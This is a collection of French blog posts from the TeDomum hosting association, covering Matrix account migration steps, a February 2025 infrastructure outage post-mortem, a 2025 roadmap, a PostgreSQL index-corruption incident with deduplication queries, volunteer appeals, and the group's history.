
5. Rendez-vous sur notre client Element et suivez la procédure d'authentification et d'inscription jusqu'à accéder à votre nouveau compte.

6. Depuis votre client sur l'ancien compte, invitez votre nouveau compte sur tous les salons que vous comptez conserver. Vous pouvez aussi décider de créer de nouveaux salons ou de nouvelles conversations avec vos contacts dont l'historique vous importe moins.

7. Importez les clés de chiffrement exportées à l'étape (1) pour accéder à l'historique des salons chiffrés que vous souhaitez conserver (dans Element, « Options », « Chiffrement », « Importer les clés »).

8. Vérifiez que vous avez accès à tous vos salons et leur historique. Sur votre ancien compte, quittez les salons restants et déconnectez toutes les sessions. Cet ancien compte sera supprimé automatiquement le 15 décembre.

9. Connectez votre nouveau compte sur le client de votre choix en le pointant vers le serveur tedomum.fr, puis suivez la procédure de validation du nouveau client. Vous pouvez bien sûr conserver element.tedomum.fr dans votre navigateur si c'est le plus pratique pour vous, sinon vérifiez que tout est bien accessible avant de le déconnecter.

Migration rapide

Cette procédure permet de migrer très rapidement, mais ne conservera pas votre historique de messages. En somme, elle consiste à créer un nouveau compte, réouvrir des conversations, et fermer l'ancien compte.

1. Contactez-nous par tout canal habituel pour demander une invitation, par exemple rendez-vous sur notre salon général ou à défaut sur notre interface de chat de support.

2. Une fois l'invitation obtenue, inscrivez-vous. Vous pouvez sans risque employer le même nom d'utilisateur et le même mot-de-passe que votre autre compte TeDomum. Si vous stockez le mot-de-passe, pensez à bien le distinguer et l'associer à auth.tedomum.fr pour éviter toute confusion.

3. Faites du nettoyage : sur votre compte Matrix actuel quittez les salons qui n'ont plus d'intérêt pour vous et que vous ne souhaitez pas conserver. Faites la liste des conversations restantes (notez les identifiants de vos contacts et de vos salons), prévenez éventuellement vos contacts proches et quittez tous les salons.

4. Vous pouvez vous déconnecter de votre ancien compte puis vous connecter au nouveau compte en indiquant le serveur tedomum.fr. Vous pouvez au besoin utiliser notre client Element.

5. Rejoignez tous les salons et contactez vos proches depuis le nouveau compte.

Post-mortem des incidents de février 2025.

Comme toujours, c'est à la lumière du jour qu'on voit mieux les craquelures. Un système, même idéalement conçu, présente toujours des défauts d'architecture et d'implémentation, qui ne seront découverts qu'en production.

Le 10 décembre dernier nous vous évoquions les difficultés de la fin d'année 2024. Nous y faisions état d'un cluster qui ne réagissait plus automatiquement aux pertes de nœud, c'est corrigé depuis. Nous y évoquions également nos difficultés à équilibrer le cluster, se soldant par l'ajout de nœuds à venir pour moins souffrir en cas de défaut de l'un de nos sites.

Depuis le 20 février au soir, nous avons à nouveau d'importants défauts sur notre infrastructure, qui mettent à nu des problèmes de conception connus, mais aussi de nouveaux sujets.

Il a Free, il change de FAI

La zone fr-kai-1 est hébergée chez Free. Du moins, était hébergée chez Free jusqu'au 20 février. Entre octobre et décembre nous avions déjà fait face à 5 incidents Free, dont une panne de 5 jours complets sur la zone. Nous pensions être sortis d'affaire après le changement d'OLT dans le NRO de Free, mais rebelote : le 20 à 15h30 coupure franche du lien, toujours un signal mais pas de négociation EPON et donc probablement un défaut au NRO.

En prévision d'une future bascule, nous avions déjà souscrit sur la zone un accès Internet par MilkyWan, un FAI associatif ayant de bons partenariats pour la collecte FTTH (même s'ils ne sont pas membres FFDN). Le lien était livré depuis 3 jours, actif sur le site mais les serveurs n'avaient pas basculé dessus.

La soirée de jeudi a globalement consisté à : – faire le constat de l'incident ; – gérer la bascule des services principaux sur d'autres sites ; – activer l'IPv6 sur l'accès MilkyWan ; – affecter le nouveau préfixe sur les serveurs et les nœuds hepto ; – réinsérer les nœuds dans le cluster sur leur nouveau WAN.

L'incident n'était véritablement clos que le lendemain, le temps de reconfigurer nos passerelles NAT64 pour prendre en compte ce nouveau site (simplement parce qu'on filtre les accès NAT64, évitant d'en faire des open proxies).

Free est depuis résilié sur la zone, bientôt la documentation à jour.

Il a SFR, c'est l'enfer

La zone fr-kai-2 est hébergée chez SFR. Depuis le 21 février au soir au moins, et encore plus franchement depuis le 22 après-midi, son accès WAN est très dégradé : un débit franchement limité et des pertes régulières de paquets (jusqu'à 500ms de jitter et 30% de perte de paquets).

Cette panne, moins franche, est d'autant plus vicieuse. Les premiers symptômes sont apparus alors même qu'on restaurait le NAT64 suite à la bascule de fr-kai-1. Il a fallu du temps pour la détecter et la qualifier, et elle a eu des impacts absolument inattendus.

Nous n'avons pas encore identifié la cause racine de cet incident, quoi qu'il ressemble fort à un engorgement de routeur : dès que le taux de paquets augmente, le taux d'erreur et la latence également. Le souci est mis de côté : fr-kai-2 est temporairement fermé au public le temps qu'on intervienne.

Le meilleur enseignement reste celui des effets de bord.

Le système qui s'emballe

Dès le 21 au soir la zone était défaillante, mais c'était encore beaucoup plus marqué le 22 dans la journée. Nous soupçonnons que notre cluster Garage (S3 distribué) est pour partie responsable de la surcharge : les réplications échouées vers fr-kai-2 sont retentées en boucle jusqu'à engorger encore plus le tuyau. Nous ne mesurons pas à quel point faute de disposer des métriques pour.

La part le plus belle est toutefois attribuable à nos mécanismes de sauvegarde. D'une part nous employons CNPG pour les bases de données, qui sauvegarde ses WAL sur S3, dont un tiers environ sur fr-kai-2, et dont les requêtes sont retentées en boucle.

D'autre part, chaque nuit nous synchronisons une part de nos buckets S3 de production vers la zone fr-hal-1 grâce à Higlo, notre automatisation autour de rclone. En pleine journée, des jobs de synchronisation générés par Higlo tournaient toujours :

storage-backups     higlo-sync-backup-gitlab-artifacts-28997280    Complete   0/1           44m        5d13h
storage-backups     higlo-sync-backup-gitlab-dependency-29001630   Running   0/1           14h        2d13h

Deux indices ici concernant le job de synchronisation du bucket de dépendances de Gitlab : – il tourne depuis 14h alors que c'est un petit volume synchronisé, il est clairement étranglé ; – le job a plus de 2 jours, donc il a déjà échoué, et été relancé, un motif qui n'est pas sans rappeler les deux précédents.

Nous avons temporairement interrompu toutes les tâches de sauvegarde en conséquence, le temps de comprendre l'origine du défaut.

L'APIServer qui pleure

Nous connaissons l'un des défauts majeurs de l'architecture de Hepto, notre distribution kubernetes : il est pour l'instant déployé avec un seul nœud de control plane, donc ni résilience ni répartition de charge sur cette fonction. C'est généralement assez anodin : une panne franche de quelques minutes passe inaperçue, mais c'est bien plus délicat quand les pannes sont plus longues ou moins franches.

L'APIServer est le principal composant de kubernetes : il expose les objets et permet aux contrôleurs de les consulter et les mettre à jour. Un APIServer indisponible c'est pas fabuleux, un APIServer qui clignote, c'est le début de la fin. Et depuis les difficultés de 2024, notre APIServer était sur... fr-kai-2 !

De jeudi soir à samedi après-midi nous avons constaté plusieurs dizaines de défauts de notre ingress controller (traefik), le composant qui accepte les connexions Web. Résultat, tous les sites inaccessibles pendant plusieurs secondes à chaque fois. Nous avons initialement mal qualifié ce problème, constatant côté utilisateur que Matrix devenait inaccessible alors que notre serveur Matrix n'est pas sur le cluster. Puis nous avons révisé l'interprétation, c'est le Matrix Authentication Service sur le cluster qui devenait inaccessible et empêchait Element de fonctionner.

La causalité est probablement très simple : – le site fr-kai-2 s'emballe ; – l'APIServer devient largement indisponible (lenteurs, timeouts) ; – traefik requête l'APIServer pour avoir la liste des URL à exposer ; – il reçoit une erreur, ou pire une liste vide ; – il cesse de répondre aux requêtes entrantes jusqu'à ce que l'APIServer lui réponde correctement à nouveau.

Samedi soir nous avons déplacé l'APIServer sur fr-kai-1, résorbant la plus grande partie de ce problème.

Nous utilisons également Kyverno sur notre cluster, pour contrôler les requêtes et automatiser quelques déploiements. Il s'agit d'un admission controller, placé en coupure e l'APIServer. Hors il est hébergé sur le cluster, et certains de ses composants étaient sur fr-kai-2, il était donc probablement lui aussi fautif d'une partie des erreurs.

Le DNS au tapis

Nous n'attendions pas ce dernier défaut, pourtant très prévisible et très vicieux. L'infrastructure ne s'arrête pas à lancer des workloads et les mettre en réseau : il faut généralement qu'elles communiquent entre elles. On oublie souvent DNS comme composant central et critique d'une infrastructure, c'est un petit morceau discret dans le démarrage d'un cluster kubernetes, et pourtant.

Déjà en 2024 nous avions rencontré des difficulté avec CoreDNS, l'implémentation DNS de référence pour kubernetes. Pas que CoreDNS fasse défaut mais que nous déployions seulement 2 réplicas, parfois démarrés sur le même site, et la fonction souffrait en cas de panne réseau sur le site par exemple. C'était censément résolu depuis que nous avons basculé le déploiement CoreDNS en DaemonSet, un mode de déploiement kubernetes qui planifie un Pod par nœud du cluster.

La logique intuitive est simple : chaque nœud ayant son propre CoreDNS, tout ce qui est lancé dessus pourra en bénéficier en faisant fi de l'état du reste du cluster. Cela dépend d'une fonctionnalité de kubernetes nommée Topology Aware Routing, que nous avions étudiée dès 2019 pour éviter de traverser le WAN à chaque requête vers Garage notamment.

Deux problèmes à cette vision intuitive : – le topology aware routing, ça s'active et nous ne l'avons jamais fait, donc il est en réalité inactif sur notre cluster ; – le DaemonSet que nous avons activé est nativement plus vicieux qu'autre chose, puisque ses Pods restent actifs même lorsque le nœud est vidé ou en panne.

Résultat : une partie du trafic DNS était dirigé vers CoreDNS sur fr-kai-2, et ne répondait plus ou mal, rajoutant du bruit à l'APIServer déjà en mauvais état, même après que nous avions désactivé les nœuds concernés.

La suite des opérations

A l'issue de la phase difficile de l'incident, nous avons : – fr-kai-2 coupé du monde, ses nœuds complètement éteints ; – le reste du cluster légèrement chargé mais sans plus ; – la réplication Garage sur 2 pattes et donc vulnérable à toute panne d'une autre zone ; – des réplicas de base de données toujours en synchronisation pour retrouver une résilience, certains même en panne dû à un cas aux limites de l'utilisation de CNPG.

Les prochaines étapes de remédiation immédiate sont donc : – étudier CNPG et la configuration des affinités qui semblent empêcher certains nœuds de démarrer sans raison apparente ; – le rétablissement de tous les réplicas de base de données, en particulier pour TTRSS, qui doit certes fermer ses portes, mais qui devrait continuer de fonctionner quelques jours encore ; – le diagnostic du WAN de fr-kai-2 avec SFR pour rétablir un service et réactiver les deux nœuds concernés.

Les enseignements complémentaires doivent faire l'objet de travaux : – c'est du long court, mais déjà démarré avec un refactoring en cours, supporter le multi-control-plane kubernetes dans hepto et déployer avec un control plane sur trois zones ; – redéployer CoreDNS dans un mode Deployment avec des contraintes d'affinité garantissant une continuité de service sans subir les désagrément d'un DaemonSet ; – comprendre comment déployer des DaemonSet en stoppant les déploiements lorsque le nœud est inaccessible, en particulier pour Garage afin d'éviter de perdre une part de trafic lorsqu'un nœud est indisponible.

Et plus généralement : donner du temps et de l'air à l'équipe infrastructure.

A l'aide !

TeDomum, ce fut près de 10 personnes actives un temps, plus généralement 6 à 8 membres de l'équipe aux meilleurs moments. Aujourd'hui notre infrastructure est plus libre, autonome, éthique, mais aussi plus complexe qu'il y a 3 ans.

Nous sommes principalement 5, 6 les bonnes semaines. 3 d'entre nous sommes plongés dans l'infrastructure et 2 auprès des utilisateurices de nos services. C'est trop peu. Les acteurs de l'infrastructure donnent les coups de main nécessaires à l'administration des services, plus ponctuellement en support de proximité, mais généralement nous n'avons plus collectivement la force d'assurer à la fois une infrastructure qui tourne et des services de qualité au quotidien.

Si vous avez une expérience ou une envie de faire du support de proximité, de la médiation ou de la modération ; si vous avez déjà des connaissances en administration système, idéalement sur kubernetes, vous êtes peut-être nos sauveuses et sauveurs. Si vous avez en prime envie de travailler dans une équipe d'excellente humeur mais globalement débordée, et donc pas peur d'être accueillies et intégrées avec peu de formes et un accompagnement modeste au début (soyons honnêtes), alors définitivement venez nous contacter sur Matrix.

Après 3 ans sans publication, il était grand temps de donner de la visibilité sur nos travaux à venir chez TeDomum. Le constat fait à la dernière AG que nous retrouvons doucement de l'activité, nous nous sommes réunis cette fin d'année pour dessiner des perspectives 2025.

D'abord un merci sincère aux participants pour ce moment très agréable, et place à quelques éléments de compte-rendu.

Des évolutions de services à venir

Plusieurs de nos services sont peu utilisés les dernières années, nous sommes attentifs à ne pas disperser trop les efforts et reposons régulièrement la question des services à fermer. Deux services en particulier seront clos en 2025.

Tiny Tiny RSS n'est plus utilisé que par une poignée de personnes, et il consomme une part importante de nous ressources et du temps d'administration. Nous annoncerons d'ici à fin décembre la date exacte d'interruption de service. Nous accompagnons en attendant les dernièr•es d'entre vous à migrer vers Miniflux, l'alternative que nous proposons en bêta.

Mobilizon n'est simplement pas utilisé. C'est une déception pour nous, mais nous ne ferons guère de déçu•es en l'interrompant cette fin d'année.

Parmi les évolutions majeures liées aux mises à jour, nous déploierons prochainement la dernière version stable de Nextcloud. Il est possible que cette mise à jour interrompe l'extension News pour la consultation des flux RSS. Nous vous invitons de façon générale à migrer vers Miniflux actuellement en bêta, nous suivrons le sujet de près et communiquerons sur la mise à jour.

La visioconférence sera un sujet d'effort particulier l'an prochain. Nous devrons rétablir le bon fonctionnement général de notre instance Jitsi, et prévoyons de tester Element Call en complément, et possible remplaçant pour les années à venir.

Enfin, nous expérimenterons prochainement un déploiement de Wallabag pour la lecture hors ligne de vos articles et pages Web favorites.

Une consolidation de notre infrastructure

Depuis un an maintenant nous avons migré sur notre propre distribution kubernetes basée sur vanilla : avec hepto v2, de plus en plus de nos services et de vos données sont hébergés chez nos membres ! Ce qui était initialement un franc succès nous a rattrapés ce mois de novembre sur fond d'une malchance chronique et de nombreuses pannes.

En deux semaines nous avons enchaîné : une panne d'accès Internet sur kai-2 (bambino et dwelf) de plusieurs heures, une perte d'accès Internet sur kai-1 (cyprus et chartreux) d'une soirée, une panne pour surcharge sur orl-1 (americancurl) puis sur cyr-1 (levkoy), une panne électrique sur kai-2 pendant deux jours suivant les tempêtes, et un perte d'accès Internet sur kai-1 pendant deux jours. Bref, tous nos petits chats ont flanché en très peu de temps.

Théoriquement, notre cluster Kity est conçu pour résister à ce type de panne, mais deux défauts majeurs sont à corriger et seront notre priorité de début 2025 :

• les déploiements ne sont pas automatiquement migrés lorsque nous perdons un site, c'est un bug à corriger rapidement ;
• notre control plane est instancié uniquement sur kai-1, donc nous ne pouvons plus intervenir pour réparer quand nous perdons kai-1, c'est une fonctionnalité à ajouter, avec plusieurs semaines de développement.

Nous avons également fait le bilan de la topologie de notre infrastructure. Nous consoliderons les points suivants dans l'année :

• les connexions entrantes seront déplacées vers une paire de machines virtuelles Scaleway, où nous déploierons aussi les passerelles IPv4-IPv6, pour préparer la résiliation de notre dernier serveur physique OVH ;
• nous ajouterons (ou à défaut de matériel déplacerons) un nœud chez un futur membre de l'association ;
• nous ajouterons un nœud sur le même site que nos sauvegardes, désactivé par défaut et utilisé en dévolution lorsque d'autres sites sont indisponibles.

Une migration à terminer

Nous ne l'achèverons probablement pas dans l'année, mais nous avons refait le tour des services à migrer vers notre cluster Kity.

Nous savons que quelques services seront particulièrement difficiles, comme les mails et les blogs. D'autres au contraire sont presque prêts à migrer. Nous devons finir de renforcer nos services de stockage, en particulier la sauvegarde de nos bases PostgreSQL et l'automatisation de nos Redis.

Une fois au point, nous attaquerons l'année avec la fin de la migration Matrix : les bridges, le media repository, les serveurs Matrix eux-mêmes. Nous enchaînerons avec les DNS et Jitsi, puis Nextcloud et progressivement le reste des services.

Un rapprochement des utilisateur•ices

L'accès aux services est aujourd'hui difficile, en particulier lorsque les inscriptions sont soumises à des validations. Nous en parlons depuis plusieurs mois, et nous allons modifier en 2025 le mode d'accès à nos services.

Les communications suivront prochainement, et n'hésitez pas à venir en parler avec nous. Nous avons toujours besoin d'échanger, et besoin d'aide pour faire vivre la communauté autour de TeDomum !

C'était un samedi presque comme les autres.

On aurait amplement de quoi romancer les derniers incidents techniques du côté de TeDomum tant les faits sont grandioses et grotesques à la fois, on se contentera de les mettre en scène à fin de propagande. Promis, nous sommes très étrangers au climat politique mais c'est un fait : nous cherchons des bénévoles, et vous pouvez naviguer à la fin de ce billet directement si vous n'avez pas le courage de poursuivre dans les détails.

Tout commençait donc en décembre 2019, attablés en terrasse fermée d'un boulevard parisien nous préparions l'assemblée générale. Tandis que le cortège manifestait dehors, nous débattions de l'avenir de l'association, se professionnaliser et offrir des services payants ou bien réduire la voilure, et nous prenions la direction raisonnable. Voir plus petit c'était d'abord diminuer notre consommation en datacenter, puis rapatrier l'ensemble de nos services sur des machines de récupération : responsable, conforme à nos valeurs, pérenne et techniquement intéressant. Des années devant nous de travaux techniques étaient actées.

Avril 2020, quand la généralisation du télétravail ne mobilisait pas tous nos moyens à soutenir Jitsi Meet et autres services très sollicités, elle nous offrait l'opportunité de mettre le plan en action : un mois plus tard nous avions divisé par 3 nos ressources et d'autant le coût de fonctionnement. Nous préparions dans l'ombre le futur hébergement à la maison sur fonds de ACIDES, Hepto et Kubernetes.

Évidemment réduire la cadence n'est pas sans conséquences. Nous devons aussi réduire nos besoins sans supprimer de service jugé utile au plus grand nombre. Au centre de la cible notre consommation de RAM, le débit d'écriture sur les disques et l'espace en général. Nous nous attaquions à la mémoire quelques jours afin de tailler les giga nécessaires pour tout migrer dans les moules plus petits, puis nous concentrions nos efforts sur le gros morceau : les IO disque. C'est un peu plus d'un mois de travail qu'il a fallu, à optimiser les bases de données mais aussi à modifier les applications pour diminuer l'intensité d'utilisation de nos disques (qui aurait cru que TTRSS parcourait plusieurs fois l'ensemble de sa base à chaque mise à jour de flux ?).

Bien entendu nos objectifs ne s'arrêtaient pas là mais les opérations ont laissé la place aux développements de hepto, hiboo et kity que nous vous présentions ce début d'année. Seulement voilà : migrer tout un CHATONS vers un cluster hepto encore balbutiant n'est pas simple. D'abord il faut former les administrateurs à Kubernetes, mais surtout les spécificités d'un cluster réparti géographiquement sont autant d'embûche sur le chemin des déploiements. Aussi le stockage fichiers de la majorité de nos services doit être repensé, mais notre emploi des bases de données aussi sur fond de développement d'un nouveau contrôleur de stockage Kubernetes, hicso. Faisons court : pour espérer maintenir l'ensemble, nos bases relationnelles hétéroclites doivent converger vers une technologie unique où nous concentrerons nos efforts.

Le temps de cette réflexion n'est pas sans son lot de maintenance et de surprises sur notre infrastructure existante. Entre autres pannes et mises à jour, le train réduit approche de sa capacité maximale à mesure que nous rejoignent de nouvelles âmes. Les travaux sur la RAM sont faciles a poursuivre mais l'espace disque est de plus en plus complexe à optimiser. En cause, notre mécanisme de sauvegarde des bases de données. Pour chaque technologie de bases (principalement Mariadb et PostgreSQL), nous sauvegardons les journaux binaires sur disque, découpés en segments que nous intégrons au reste de nos sauvegardes de fichiers. Cette approche ayant le mérite d'être simple de mise en place nous permet, en combinaison avec des copies intégrales régulières, de conserver l'historique détaillé de nos bases et donc de restaurer au besoin à un instant donné dans le passé. Les gens bien appellent ça du PITR, point in time recovery ; c'est bien utile lorsqu'une application fait défaut et corrompt sa base pendant plusieurs heures ou plusieurs jours. Nous bénéficions à ces fins directement de notre sauvegarde automatique de fichiers basée sur restic. Inconvénient majeur : les journaux de transactions binaires, ça prend de la place, près de la moitié de l'occupation sur nos disques que nous compensons par des nettoyages manuels pénibles.

Enters wal-g. Dans un effort commun pour gagner en RAM et en espace disque nous repensons notre usage des bases de données et l'orientons par l'occasion vers une migration dans kity. De nos nombreux serveurs de bases (pas moins de 17 dénombrés !) nous n'en conservons qu'un, sur une technologie unique. C'est un travail de longue haleine juste entamé, qui implique de mettre à jour plusieurs applications pour supporter PostgreSQL. À la clé non seulement des ressources mieux partagées entre les bases, mais aussi l'opportunité de déployer des configurations plus complexes comme nous n'avons pas à les dupliquer. Ainsi, nous avons pris le parti de construire nos propres images Docker PostgreSQL intégrant des composants pour préparer l'avenir : pglogical, repmgr, et... wal-g.

Ré-écriture du fabuleux wal-e en perte de vitesse, nous guettons wal-g depuis quelques mois afin de transférer directement les journaux de transaction (WAL) PostgreSQL chiffrés et compressés vers nos serveurs de sauvegarde. Fini la copie locale sauvegardée par restic, c'est moins de défauts, des sauvegardes plus immédiates, et surtout des centaines de gigas épargnés sur les disques. Notre configuration est simple et publique, notre plan d'attaque l'était tout autant : en parallèle concentrer l'ensemble des bases sur un unique cluster PostgreSQL et développer notre image intégrant wal-g ainsi que sa configuration type.

Le 5 juin tout était prêt pour basculer sur l'image fraîche et activer wal-g. La bascule était testée, et comme l'architecture et la version de PostgreSQL étaient identiques, pas de difficulté anticipée à conserver le dossier de données en l'état. C'est bien entendu sans compter sur un oubli majeur : d'un côté PostgreSQL est linké sur la glibc, de l'autre sur musl libc d'une distribution Alpine. Bien que les interfaces d'accès fichier soient strictement identiques et n'interfèrent donc absolument pas avec le format de stockage des bases, des différences existent dans la manipulation de chaînes UTF-8, impactant le format des index de tables. C'est ainsi, alors que la majorité des services ont repris un fonctionnement nominal, que certains index ont commencé à défaillir, retournant des résultat instables voire faux à des requêtes sur les clés indexées. Le résultat est d'autant plus catastrophique que le défaut a subsisté plusieurs heures : ici une utilisatrice existant en base s'est vu créer un compte dupliqué masquant ses données, là des pouets, messages Matrix ou flux RSS ont été enregistrés en double ou en triple, ou bien encore des tâches planifiées n'ont jamais enregistré leur résultat.

Au bilan, il a fallu pas moins de 48 heures, application par application, pour réparer manuellement ces défauts en fonction de la meilleure approche au cas par cas. À suivre quelques exemples de requêtes PostgreSQL qui nous ont sauvé la vie pour dédupliquer des lignes dans des tables aux index corrompus.

# Identifier les lignes dupliquées
# ctid est une colonne spéciale retournant un identifiant technique de ligne interne à PostgreSQL, toujours différent y compris en cas d'insertion multiple de la même ligne exactement
SELECT ctid
FROM 
  (SELECT ctid, ROW_NUMBER()
   OVER( PARTITION BY id ORDER BY ctid )
   AS cnt 
   FROM table) t
WHERE cnt > 1;

# Identifier les duplicatas pour une clé
SELECT ctid, key
FROM table
WHERE key = 'value';

# Supprimer sur la base du ROW_NUMBER
DELETE FROM table
WHERE ctid IN
(SELECT ctid
FROM 
  (SELECT ctid, ROW_NUMBER()
   OVER( PARTITION BY id ORDER BY ctid )
   AS cnt 
   FROM table) t
WHERE cnt > 1);

Pour satisfaire les curiosités, notre stratégie était la suivante : – comme le mal était largement fait, ne pas interrompre les applications dans l'espoir de sauver quoi que ce soit puisque la plupart (Peertube faisant exception) survivaient très bien sur des index affreusement incomplets ; – pour tous les comptes en doublon, comme aucun n'avait servi réellement, supprimer l'ensemble des comptes créés après le début de l'incident ; – pour les contenus peu critiques comme la fédiverse ou les flux RSS, supprimer les entrées les plus récentes en conflit, c'est ainsi que quelques centaines de pouets ne sont pas correctement reliés à leurs hashtags ou à leur thread ; – pour Matrix, reconstruire les informations critiques (qui a quel rôle dans un salon par exemple) à la main à partir des événements réellement reçus une fois dédoublonnés.

Les leçons de cet exercice périlleux qui aurait pu nous coûter plus cher ? D'abord évidemment tester en conditions réelles comme toujours, bien que nous pensions sincèrement avoir mis l'adage à l'épreuve. Ensuite et surtout nous ne sommes plus en nombre ni pour faire face à ce type d'événement ni pour soutenir le rythme d'évolution de nos infrastructures vers kity, qui a pris près d'un an de retard. Si nous avions la force, nous aurions déjà migré largement et ne chercherions pas sans cesse les optimisations d'une architecture vieillissante. Si nous avions la disponibilité, des 5 personnes privilégiées sur le serveur plusieurs auraient pu intervenir plus tôt et plus vite afin d'atténuer les dégâts.

Ce n'est bien entendu qu'un exemple et nous pourrions narrer encore cette semaine les attaques globales contre le réseau Matrix qui ont impacté notre serveur et présagent quelques jours laborieux de nettoyage de données et autres festivités.

Pour toutes ces raisons nous avons besoin de vous et de votre volonté bénévole. Deux administrateurs peu actifs les derniers mois laissent aujourd'hui leur place de sorte que nous puissions renforcer l'équipe. Aussi, si vous mourrez d'envie de jongler comme nous sur le fil de chantiers et d'incidents tels que ceux relatés plus haut, si vous n'avez pas peur de #toutcasser le front perlant sous la tension, c'est sans hésitation et sans timidité que vous pouvez nous contacter. Comme nos capacités de formation et d'intégrations de nouveaux membres ne sont pas infinies, une petite idée concrète des profils que nous recherchons :

• un·e administrateur·rice application, entretenant quotidiennement les services, suivant et appliquant les mises à jour et intervenant sur les incidents simples ; nous pouvons vous former si vous avez le goût du numérique et déjà effleuré le monde GNU/Linux ;
• un·e administrateur·rice système intervenant sur nos serveurs, contribuant aux chantiers de rénovation, menant les maintenances et intervenant en cas d'incident majeur ; votre expérience de l'administration Debian, de Docker, PostgreSQL et du Web en général sont plus que bienvenues car nos disponibilités sont modestes pour vous former, nous pouvons contribuer à financer des formations en ligne si besoin ;
• un·e administrateur·rice et développeur·se (il paraît même qu'on dit devops !) contribuant à notre migration vers kity, y assurant progressivement la maintenance et intervenant sur les incidents ; il faut pour cela avoir de l'expérience avec Docker, et idéalement quelques bases dans le monde Kubernetes ; nous saurons nous former ensemble à mesure que nous découvrirons ce monde également !

Si vos CV et lettre de motivation sont prêts, vous pouvez les ranger et venir échanger directement sur les salons de messagerie : il n'est pas question de vous mettre à l'épreuve ou de conduire des entretiens, mais bien d'accueillir votre bonne volonté à bras ouverts.

TeDomum est une association loi 1901 depuis 2014, mais nous bidouillons bien avant cela, et certains de nos services hébergent des données vieilles de 2007 ou 2008. Par curiosité, comme nous étions certains que c'était le nôtre et pas la photo privée d'un·e utilisateur·trice peu consentant·e, nous avons déterré le premier fichier déposé sur notre service d'hébergement d'images, à l'époque accessible à une toute autre adresse (âmes sensibles s'abstenir).

En creusant dans nos propres archives, nous avons aussi déniché quelques exemples fleuris, notre site Web de 2014 sous Dokuwiki, l'installation d'un serveur ou encore l'étude des températures de disque dur à la même époque ; la gestion de nos configurations Salt ou encore l'administration de notre serveur mail jusqu'en 2015. Autant de souvenirs qui n'appellent qu'une brève rétrospective jamais franchement écrite, et qui résume notre petit parcours de CHATONS.

Oui, ce billet est outrageusement tourné vers le passé pour un début janvier, mais nous promettons depuis trop longtemps d'écrire un bout de notre histoire pour ne pas profiter aujourd'hui de l'occasion.

Avant même TeDomum

Aux origines étaient NSM (sombre cadriciel pour du développement PHP) et l'application principale (la seule ?) qui l'employait : Dreamseed. Ce site Web communautaire cherchait de l'hébergement bon marché, jusqu'alors abrité chez Infomaniak mais sans le sou pour aller bien plus loin. Il y a juste 15 ans – 2006 –, le décor est planté.

C'est ainsi que Dreamhost et Bluehost se sont montrés accueillants. Les deux géants de l'époque en hébergement Web mutualisé proposaient des interfaces d'administration suffisamment spartiates pour que les bricoleurs y fraient un chemin pas toujours licite. Les serveurs étaient accessibles en SSH pour y déposer et gérer directement les applications Web, offrant tout loisir d'y installer des bases de données alternatives et autres démons ne requerrant que des ports non privilégiés. Les performances n'étaient pas au rendez-vous, mais c'est ainsi pour quelques euros par mois que débutait l'hébergement de bases MySQL agrémentant les applications et d'un bouncer IRC communautaire, qui devait être resuscité chaque fois que l'hébergeur procédait à un redémarrage impromptu.

Rapidement la « solution » a montré ses limites. Les premiers hébergeurs IaaS bon marché faisaient leur apparition, dans les offres de OVH ou même de Digicube. Egalement, le débit des lignes ADSL devenait franchement compatible avec l'auto-hébergement. Les quelques services pirates ont donc rapidement migré, en doublant les approches : le cloud pour ce qui consommait de la bande passante, le salon pour le reste.

Les serveurs se sont ainsi enchaînés, il s'appelaient dancer, cupid, dash, rudolph, les plus véloces ont pris les noms de comet ou encore vixen (on laisse deviner la convention de nommage en exercice). Il s'agissait d'un côté de tirer le maximum de quelques plug computers (SheevaPlug et Ionics Nimbus pour les initiés) déposés derrière un modem-routeur, de l'autre d'industrialiser des déploiements sur une ou deux machines au meilleur marché des hébergeurs discount.

Photo non contractuelle de cupid après de nombreuses années de service.

Les technologies aussi ont été égrainées. D'abord pour héberger principalement du Web, Apache et PHP ont fait l'office. Sans attendre, les premiers besoins d'isolation plus bas niveau sont apparus. Deux ans à déployer des noyaux patchés vserver, puis la montée en performance de OpenVZ et l'avènement de Proxmox ont largement couvert les besoins en datacenter tandis que LXC, recompilé et ajusté pour ARM faisait chauffer les cycles à la maison. CFEngine a remplacé le bricolage, Puppet a remplacé CFEngine ; SVN a laissé place à Fossil SCM, puis à Mercurial. Finalement, l'ensemble était assez stable pour accueillir bon nombre de services.

Le bouncer IRC a poursuivi son chemin, accompagné rapidement par l'hébergement d'images dès 2007. Ils étaient rejoints en 2008 par de l'hébergement Web mutualisé, de l'hébergemet mails à façon et un serveur XMPP multi-domaines. Fin 2008, l'offre s'est professionnalisée et est devenue payante pour les utilisateurs infogérés ; plusieurs dizaines de sites Web ont embarqué et facilité le financement. En 2009, la folie Minecraft s'en est emparée et une offre d'hébergement cubique a vu le jour, occupant la majorité des ressources jusqu'alors sous-employées. Enfin, des VPS étaient en location à compter de 2010 pour combler les serveurs et rentabiliser l'ensemble.

Les expériences ont continué et les services brûlé du CPU jusqu'en 2012. La charge devenant insoutenable pour un administrateur unique, les offres professionnelles ont migré vers d'autres fournisseurs et les services communautaires regroupés sur les machines restantes, didon et sauron. TeDomum était né et les premiers contributeurs bénévoles l'ont rejoint pour communiquer, modérer, administrer les serveurs.

Du bricolage aux CHATONS

L'année 2012 fut riche en découvertes, humaines avant tout. Plusieurs ont embarqué et l'équipe active de l'époque – Angedesténèbres, kaiyou et y0no – est toujours active dans l'association huit ans plus tard. Sur le plan services, les premiers outils de gestion de communauté faisaient leur apparition : un salon IRC (oui, oui) rejoint par un salon Jabber, un site Wordpress de présentation et le fidèle Flyspray pour suivre les bugs et demandes. Quant-à la technique rien n'avait franchement bougé : Proxmox, Puppet, Apache, PHP ITK, le tout sur des machines Digicube et OVH.

Pas satisfaits de ce calme d'apparence, rejoints par Maya et Naliyah, nous avons tiré tous azimuths de 2013 à 2015, et l'historique de nos dépôts Git de configurations Chef, puis Salt, en témoignent encore :

• en 2013 les machines s'appelaient happy, et même akala, un serveur XMPP multi-domaines et un hébergement mails mutualisé reposant sur Postfixadmin sont venus gonfler les rangs, suivis par un serveur IRC à base de inspircd (qui – faut-il avouer – n'a jamais eu de succès) ;
• début 2014 les machines s'appelaient debby, mechant, poilu, enigma, ou même encore elektra, grem, marsh, max, moche, boore, linus, tesser, elan, bichon, lily et turing (difficile de se souvenir en détails léquelles étaient des machines virtuelles et lesquelles de petites machines physiques, mais oui : nous consommions beaucoup de ressources !)
